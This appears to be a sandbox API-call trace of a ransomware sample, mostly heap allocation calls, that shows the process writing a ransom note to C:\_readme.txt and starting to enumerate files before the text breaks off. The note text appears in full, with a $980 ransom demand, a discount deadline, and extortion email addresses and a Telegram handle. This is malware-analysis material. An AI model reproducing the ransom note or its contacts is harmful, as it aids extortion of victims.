[0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.473] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.473] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.474] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.474] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.475] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.476] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.477] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.477] PathFindFileNameW (pszPath="") returned="" [0112.477] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.477] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.477] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.477] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.477] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.477] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x806) returned 0x331d740 [0112.478] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0112.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.478] PathFileExistsW (pszPath="C:\\_readme.txt") returned 0 [0112.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331df50 [0112.478] lstrcpyW (in: lpString1=0x331df50, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.478] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.478] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306ed0 [0112.478] CreateFileW (lpFileName="C:\\_readme.txt" (normalized: "c:\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x620 [0112.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x930) returned 0x3325c58 [0112.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x895) returned 0x3326590 [0112.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3326590, cbMultiByte=2197, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 1174 [0112.479] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3326e30 [0112.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3326590 | out: hHeap=0x660000) returned 1 [0112.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325c58 | out: hHeap=0x660000) returned 1 [0112.480] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned 1173 [0112.480] WriteFile (in: hFile=0x620, lpBuffer=0x3326e30*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x3b2fb64, lpOverlapped=0x0 | out: lpBuffer=0x3326e30*, lpNumberOfBytesWritten=0x3b2fb64*=0x495, lpOverlapped=0x0) returned 1 [0112.480] CloseHandle (hObject=0x620) returned 1 [0112.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3326e30 | out: hHeap=0x660000) returned 1 [0112.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331df50 | out: hHeap=0x660000) returned 1 [0112.481] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.481] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x32a6848 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c) returned 0x32ba1c0 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4c0 [0112.482] HeapFree (in: 